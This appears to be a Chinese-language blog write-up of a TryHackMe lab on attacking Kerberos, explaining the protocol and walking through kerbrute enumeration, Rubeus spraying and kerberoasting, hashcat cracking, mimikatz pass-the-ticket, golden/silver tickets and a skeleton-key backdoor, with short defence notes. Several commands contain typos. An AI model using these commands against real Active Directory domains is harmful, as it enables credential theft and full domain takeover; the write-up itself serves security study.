kerberos攻击学习

kerberos攻击学习

这个房间主要介绍windows的票证授予服务kerberos的基础知识,以及如何攻击kerberos获得各类票据,甚至获得域管理员。

介绍

kerberos是以windows域的一个身份认证服务,通过第三方票证授权的方式以及更强的加密来比NTLM更加安全。目前kerberos已经是windows域的默认身份认证服务,但是依然存在漏洞。

常用术语

  • TGT(Ticket Granting Ticket,票证授予票):TGT可以看做是域认证的身份认证,相当于门票。通过身份认证后用户会获得TGT,只有拥有TGT后用户才可以向TGS请求域中特定服务的票证。
  • KDC(Key Distribution Center,密钥分发中心):密钥分发中心负责颁发TGT和服务票据,由身份验证服务票据授予服务组成。
  • AS(Authentication Service,身份验证服务):身份验证服务发出TGT,供域中的TGS使用,以请求访问其他计算机和服务票证。
  • TGS(Ticket Granting Service,票征授予服务):票征授予服务在获取TGT后将票证返回到域中的计算机。
  • SPN(Service Principal name,服务主体名称):服务主体名称为服务实例提供标识符,将服务实例与域服务账户相关联。Windows要求服务具有与服务账户,这就是服务需要SPN集的原因。
  • KDC LT Key(KDC Long Term Secret Key,KDC长期(加密)密钥):这个KDC key(KDC LT Key)基于KRBTGT服务账户。用于加密TGT和为PAC证书签名。
  • Client LT Key(Client Long Term Secret Key,客户端长期(加密)密钥):客户端密钥基于计算机或者服务账户。用于加密时间戳和加密会话密钥(session key)
  • Service LT Key(Service Long Term Secret Key,服务长期(加密)密钥):这个密钥(服务密钥)基于服务账户。用于加密服务票据和给对PAC进行数字签名。
  • Session Key(会话密钥):KDC在给用户发放TGT时会一同发放会话密钥,用户在请求服务票证时将TGT与会话密钥一同发送给KDC,用户在使用会话向服务证明并请求访问权限。
  • PAC(Privilege Attribute Certificate,特权属性证书):PAC保存用户的所有相关信息,它与TGT一起发送到KDC,由目标服务长期密钥(Servic LT Key)和KDC长期密钥(KDC LT Key)进行数字签名,以验证用户。

AS-REQ / 预身份验证 细节

当用于向KDC请求TGT时,Kerberos身份验证中的AS-REQ步骤开始。为验证用户并创建TGT,KDC必须遵循确切的步骤。用户的第一步是加密计算出时间戳的NT散列值并将其发送到AS。KDC尝试使用用户提供的NT散列值来解密时间戳,如果成功,KDC将为用户颁发TGT以及会话密钥。(这里的NT hash即NTLM hash的简写)

附:NT Hash计算方式

NT Hash计算过程相比LM Hash来得简单。

  • 1.转换为16进制
  • 2.Unicode编码
  • 3.MD4加密的16进制就是NT hash

TGT(票据授予票)内容

为了理解服务票据(service ticket)是如何创建和验证的,我们需要从票据的来源开始。用户将TGT提供给KDC,作为返回(回报),KDC将验证TGT并返回服务票据(service ticket)

ST(Service Ticket即TGS,服务票据)内容

要理解kerberos身份验证是如何工作的,你首先要知道明白这些票据的内容和他们是如何验证的。服务票据包含两个部分:服务提供部分和用户提供部分。

  • 服务部分:用户详细信息、会话密钥;该票证使用服务账户的NTLM哈希加密。
  • 用户部分:有效的时间戳、会话密钥;使用TGT会话密钥(TGT session key)加密。

Kerberos身份验证概述

AS-REQ 1. 客户端请求身份验证票据或票据授予票证(TGT)

AS-REQ 2. 密钥分发中心在身份验证后返回加密的TGT和会话密钥

AS-REQ 3. 客户端将加密的TGT发送到**票证授予服务器(TGS)**,其中包含客户端想要访问的服务的服务主体名称(SPN)

AS-REQ 4. 密钥分发中心(KDC)验证用户的TGT以及用户是否有权限访问该服务,然后向客户端发送该服务的有效会话密钥及票据

AS-REQ 5. 客户端请求服务并发送有效会话密钥以证明用户具有访问权限。

AS-REQ 6. 服务授予访问权限。

kerberos票证概述

在攻击kerberos的过程中,最常见的票证是票证授予票(TGT),这些票证可以有很多形式(后缀),例如Rubeus的.kirbi,Impacket的.ccache。最主要的还是.kirbi票证,这些票证通常是使用base64编码并可以用于各种攻击。TGT仅与KDC一起使用以获得服务票证。一但你提供TGT,服务器就会获取用户详细信息、会话密钥,然后使用服务账户的NTLM哈希对票证(TGT)进行加密。

然后你的TGT会提供加密时间戳、会话密钥和加密过的TGT。然后KDC将验证TGT并返回所请求服务的服务票证。普通的TGT只能与连接到它的给定服务账户一起使用(白银票据),但是KRBTGT允许你获取所需的任何票证(黄金票据),从而允许访问你访问域上所需的任何内容。

kerberos攻击权限要求

  • kerbrute枚举-无需域访问
  • PTT(Pass The Ticket 传递票据):以用户身份访问所需的域
  • kerberoasting:根据任何用户的需要进行访问
  • AS-REP Roasting(AS-REP烘焙):根据任何用户的需要进行访问
  • 金票:需要完整的域妥协(domain compromise)(域管理员)
  • 银票:需要服务哈希
  • 万能钥匙:需要完整的域妥协(域管理员)

使用kerbrute进行枚举——检测kerbrute中可利用账户

kerbrute是一种流行的枚举工具,其原理是利用kerberos的预身份验证来暴力破解和枚举有效的活动目录(AD)用户。

在攻击前需要将DNS域名和计算机IP添加到攻击者计算机内的/etc/host中,否则攻击将不起作用。

以下笔记中使用的靶机IP和域控如下

10.10.58.156 CONTROLLER.local

滥用预身份验证概述

通过强制kerberos预身份验证不会触发账户登陆失败事件,但是可能会给触发设备告警,引起蓝队注意。通过kerberos暴力破解时,可以通过仅向KDC发送单个UDP帧来进行暴力破解,从预先提供好的字典里列举域上的用户。

Kerbrute 安装 -

1.) 下载适用于您的操作系统的预编译二进制文件 - https://github.com/ropnop/kerbrute/releases

2.) 将 kerbrute_linux_amd64 重命名 为 kerbrute

3.) chmod +x kerbrute - 使 kerbrute 可执行

Kerbrute使用

进入kerbrute目录后,准备好爆破用用户名字典,使用以下命令运行Kerbrute爆破域中存在的账户

1
./kerbrute usernum --dc CONTROLLER.local -d CONTROLLER.local User.txt

使用Rubeus暴力破解/收割票证

Rubeus是用于攻击Kerberos的工具。Rubeus是kekeo工具的改编版,更加强大。Rubeus具有多种攻击方式和功能,包括跨越哈希(Overpass the hash/Pass-the-Key),票证请求(Ticket Request)和票证延期(renewals),票证管理,票证提取,收获,传递票证(pass the ticket),AS-REP烘焙(AS-REP Roasting)和kerberoasting

使用rubeus获取票证

通过截获正在传递到KDC的票证并将其保存以用于其他攻击,例如PTT

攻击命令如下

1
Rubeus.exe harvest /interval:30

该命令告诉RUbeus每30s收集一次TGT

使用Rubeus进行暴力破解密码/密码喷射

Rubeus 既可以暴力破解密码,也可以喷洒密码用户帐户。当暴力破解密码时,您可以使用单个用户帐户和密码单词列表来查看哪个密码适用于该给定用户帐户。在密码喷射中,您提供一个密码(例如Password1),然后对域中找到的所有用户帐户进行“喷射”,以查找哪些帐户可能拥有该密码。

此攻击将获取给定的基于 Kerberos 的密码,并将其喷洒到所有找到的用户上,并提供 .kirbi 票证。该票证是一个TGT,可用于从 KDC 获取服务票证,也可用于诸如传递票证攻击之类的攻击。

在使用Rubeus进行密码喷洒之前,,需要将域控制器域名添加到windows的主机文件中。可以直接使用echo命令将IP和域名添加到计算机的主机文件中

1
echo 10.01.147.97 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts

Rubeus喷洒密码命令

1
Rubeus.exe brute /password:Password1 /noticket

以上命令将使用给定密码(上面命令中指定的是Password1)喷洒到所有找到的账户中,然后为该用户提供.kirbi TGT(即将上文中抓取到的TGT给现在爆破出来的用户使用)

ps:在进行像喷洒密码这种包里攻击时大概率会触发安全策略而导致账户锁定。

使用Rubeus和Impacket进行kerberoasting

这里将介绍kerberos中最流行的攻击之一——kerberoasting。kerberoasting允许用户请求具有注册SPN的任何服务的服务票证,然后使用该票证破解服务密码(服务账户)。如果一个服务有注册SPN,那么它是Kerberoastable的。但是攻击的成功取决于密码的强度、密码是否可追踪以及被破解的服务账户的权限。

要枚举Kerberoastable账户,建议使用BloodHound之类的工具来查找所有kerberoastable账户它允许你查看可以对哪些账户进行kerberoast(如果它们是域管理员),以及它们与域的其余部分有什么样的连接等等。

这里将使用Rubeus和Impacket进行攻击,同样的使用kekeo和Invoke-Kerberoast也能进行攻击。

使用Rubeus进行Kerberoasting

ps:以下操作是在内网机器上进行操作的。

以下命令将转储任何kerberoastable用户的Kerberos哈希值

1
Rubeus.exe kerberoast

将获得的hash储存到本地的.txt文件中,然后使用hashcat破解它。

使用hashcat破解需要提前准备好密码字典

破解命令

1
hashcat -m 13100 -a 0 hash.txt password.txt

使用Impacket进行kerberoasting

Impacket安装教程

自 0.9.20 以来,Impacket 版本一直不稳定,我建议安装 Impacket < 0.9.20

1.)cd /opt 导航到您的首选目录以保存工具

2.) 从https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_19下载预编译包

3.)cd Impacket-0.9.19 导航到 impacket 目录

4.) pip install .- 这将安装所有需要的依赖项

Impacket使用命令

1
cd /usr/share/doc/python3-impacket/examples //进入GetUserSPNs.py所在位置
1
sudo python3 GetUserSPNs.py controller.local(域名)/Machine1(机器名称):Password(密码) -dc-ip 目标机器IP -request

↑这将转储它可以在目标域上找到的所有kerberoastable账户的kerberos哈希值,就像Rubeus所做的那样;但是与Rubeus不同的是它不用再目标机器上进行操作,并且可以远程完成。

破解hash步骤相同

1
hashcat -m 13100 -a 0 hash.txt Pass.txt

获得服务账户后可以做什么?

破解服务账户的账号密码后有多种方式可以窃取数据和收集所需要的信息。具体取决于服务账户是否为域管理员,如果服务账户是域管理员,那么就相当于获取了类似金/银票据的控制权,可以收集所需的数据和信息,例如转储NTDS.dit.

Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

如果服务账户不是域管理员,那么可以使用它登录其他系统并尝试进行提权。或者可以使用破解的密码来攻击其他服务和域管理员账户;许多公司可能会为其服务或域管理账户重复使用相同或者相似的密码。

Kerberoasting防御方法

  • 设置强密码,如果服务账户的密码强,那么kerberoasting将无效
  • 不将服务账户设置为域管理员,服务账户不需要是域管理员,不将服务账户设置为域管理员,那么kerberoasting攻击成功后的利用难度将增大,不会那么有效。

使用Rubeus进行AS-REP roasting

域kerberos roasting类似,AS-REP roasting 转储禁用了kerberos预身份验证的用户账户的krbasrep5 hash值。与Kerberoasting不同,这些用户不必是服务账户。对用户进行AS-REP roasting的唯一要求是用户禁用预身份验证。

这里将继续使用Rubeus,就像进行kerberosroasting和收获一样,Rubeus有一个简单且易于理解命令,可以在禁用kerberos预身份验证的情况下对AS-REP进行roasting和攻击用户。从Rubeus转储hash后,我们将继续使用hashcat来破解krbasrep5哈希值。

同样的,不止Rubeus可以进行AS-REP Roasting ,keko和impacket的GetNPUsers.py也行。不过Rubeus更易用,它会自动查找AS-REP Roastable用户,而使用GetNPUsers必须事先枚举用户并知道那些用户是AS-REP Roastable。

AS-REP Roasting 概述

在预身份验证期间,用户hash将用于加密时间戳,域控制器将尝试解密时间戳以验证是否正在使用正确的哈希并且不会重播先前的请求( the domain controller will attempt to decrypt to validate that the right hash is being used and is not replaying a previous request)。

验证时间戳后,KDC将为用户颁发TGT。如果禁用预身份验证,你可以请求任何复用的任何身份验证数据,并且KDC将返回一个可以离线破解的加密TGT,因为KDC会跳过验证用户真是身份步骤(可以伪装用户身份)

使用Rubeus转储kerbasrep5哈希值

1
Rubeus.exe aseproast

以上命令将运行 AS-REP Roast 命令来查找易受攻击的用户,然后转储找到的易受攻击的用户哈希值。

获取hash后继续使用hashcat进行破解

1
hashcat -m 18200 hash.txt Passwd.txt //Rubeus AS-REP 烘焙使用 hashcat 模式 18200 

用 hashcat 破解这些哈希 -

1.) 将哈希值从目标计算机传输到攻击者计算机,并将哈希值放入 txt 文件中

2.) 在$krb5asrep$后面插入23$,这样第一行就是$krb5asrep$23$User…..

3.) hashcat -m 18200 hash.txt Pass.txt - 破解这些哈希值!Rubeus AS-REP 烘焙使用 hashcat 模式 18200

AS-REP Roasting预防措施

  • 使用强密码,这将耗费更多时间用于hash破解
  • 除非有必要,不要关闭kerberos预身份验证,除了打开预身份验证外,几乎没有颁发可以完全缓解这种攻击。

使用mimikatz进行传递票据(PTT,Pass The Ticket)

mimikatz属于后渗透利用工具,是非常流行且功能强大,最常用于活动目录网络内转储用户凭据,在这里我们将使用mimikatz从LSASS中转储TGT

PTT/Pass The Ticket 概述

PTT通过从机器的LSASS内存中转储TGT。LSASS(Local Security Subsystem Servic,本地安全机构子系统服务)是一个内存进程,它将凭据储存在活动目录的服务器上,并且可以储存Kerberos票证以及其他凭据类型,以充当网守(gatekeeper)并接受或者拒绝所提供的凭据。攻击者可以从LSASS内存中转储kerberos票证,就像转储hash一样。

当使用mimikatz转储票证时,它会给我们一个.kirbi票证。如果域管理员票证位于LSASS内存中,则可以使用该票证获得域管理员。如果存在不安全的与服务账户票证,则此攻击对于权限提升和横向移动非常有用。

如果转储域管理员的票证,然后使用mimikatz PTT攻击模拟该票证,便可以通过该攻击升级为域管理员。PTT攻击的原理就是重用现有票证,并不会创建或者销毁任何票证,只是重用域中其他用户的现有票证并冒充该票证。

mimikatz使用

cmd输入以下命令启动mimikatz(需要管理员权限)

1
mimikatz.exe

输入一下命令来检查是否以管理员权限运行

1
privilege::debug

如果正确,则输出[output ‘20’ OK]

1
sekulsa::ticket /export

上面的命令会将所有的.kribi票证导出到当前目录中

在此步骤中,您还可以使用我们之前从 Rubeus 获取的 Base 64 编码票证

在导出的票证中寻到管理员票证,就如图中所示

使用mimikatz进行PTT

我们现在已经准备好了飘逸,可以进行PTT攻击获得域管理员权限。

在mimikatz中执行以下命令

1
kerberos::ptt <ticket>

上面的ticket是上文中转储的.kirbi票据的全称

使用klist命令来列出缓存中票证以验证我们是否成功模拟票证

模拟成功,现在我们已经拥有了和域管理员相同的权力

可以查看管理员共享

PTT攻击的防御方式

不要让域管理员登录到除了域控制器以外的任何东西。如果域管理员仍登录到一些低级别计算上,容易留下用于攻击和横向移动的票证。

使用mimikatz进行金/银票据攻击

有些时候,在限制条件下银票比金票更合适,因为它更谨慎一些。如果隐身不被发现很重要,那么银票可能是比金票更好的选择。但是创建票证的方法是完全相同的,两种票证的主要区别在于银票仅限于目标服务,而金票可以访问任何kerberos服务。

KRBTGT概述

为了理解这些攻击原理,首要要先了解KRBTGT和TGT之间的区别。KRBTGT是KDC的的服务账户,是向客户发送所有票证的密钥分发中心。

如果模拟此账户并从KRBTGT创建黄金票证,那么就可以为想要的任何内容创建服务票证。TGT是KDC办法的服务账户票证,只能访问TGT所属的服务,就像SQLService票证一样。

金银票攻击概述

金票攻击的工作原理是转储域中任何用户的票证授予票(TGT),这最好是域管理员。

但是对于金票,要转储的是krbtgt票,对于银票,要转储的是域管理员票。这将为你提供服务/域管理员账户的SID或安全标识符(每个用户账户的唯一标识符)以及NTLM哈希,然后可以再mimikat黄金票据攻击中使用这些详细信息,以创建模拟给定服务账户信息的TGT。

转储krbtgt哈希

确保mimikatz是以管理员身份运行

1
lsadump::lsa /inject /name:krbtgt

以上命令将转储hash以及创建金票据所需的安全标识符。

如果要创建银票,需要更改/name:要转储的域管理员账户或者服务账户(例如 SQLService)的hash

创建金/银票

1
Kerberos::golden /user:Administrator /domain:ontroller.local /sid: /krbtgt: /id:

以上是创建金票的命令,创建银票只需要将服务NTLMhash放入krbtgt槽中,服务账户的sid放入sid,并将id更改为103

金票据创建实例图

使用金银票访问其他机器

1
misc::cmd

使用以上命令将在mimikatz中使用给定的票证打开一个新的提升命令提示符

访问你想要的计算机,你可以访问的内容取决于从票据中获取的用户权限。如果是从krbtgt中获取的票证,那么可以访问整个网络,因此称其为黄金票证。

然而,银票只能访问用户有权访问的内容,如果他是域管理员,那么几乎可以访问整个网络,但是提升成都比黄金票据稍低。

(如果域中没有其他计算机,此攻击将无法进行)

使用mimiatz植入kerberos后门

除了使用金银票据维持访问权限以外,在攻击kerberos时,还可以使用mimikatz植入后门。kerberos的后门更加隐蔽,因为其类似于rootkit,将其自身植入域林中,允许自己使用主密码访问任何计算机

kerberos后门的工作原理是植入万能钥匙,该万能钥匙密码滥用AS-REQ验证加密时间戳的方式。万能密码仅适用于使用Kerberos RC4加密的情况。

ps:根据上文,执行此攻击需要获取域管理员权限。

mimikatz 万能密钥的默认哈希值是 60BA4FCADC466C7A033C178194C03DF6,密码 是“ mimikatz

万能钥匙概述

万能钥匙的工作原理是滥用AS-REQ加密时间戳。时间戳是使用用户NT hash进行加密的,然后域控制器尝试使用用户NT hash来解密此时间戳,一但植入万能钥匙,域控制器将尝试使用用户NT hash和万能钥匙NT hash来解密时间戳,从而允许攻击者访问域林。

使用mimikatz安装万能钥匙

以管理员模式打开mimikatz

1
misc:skeleton

只需要上面一条命令即可

进入域林

默认凭据为:“ mimikatz

示例:net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz - 现在无需管理员密码即可访问共享

示例:dir \\Desktop-1\c$ /user:Machine1 mimikatz - 访问 Desktop-1 的目录,而不知道哪些用户有权访问 Desktop-1

万能钥匙不会自行持久保存,因为它在内存中运行,可以使用其他工具和技术对其进行脚本化或持久保存。

小结

在这个房间里,经历的kerberos攻击的基本流程,从枚举可利用账户开始,再到使用Rubeus进行密码爆破获得账户密码,最后再到使用使用mimikatz转储票据,进行金银票攻击,直至最后在域林中植入万能钥匙后门。


kerberos攻击学习
https://sammylingsj.github.io/2023/09/17/kerberos攻击学习/tryhackme_Attacking Kerberos room/
作者
s4mmy
发布于
2023年9月17日
许可协议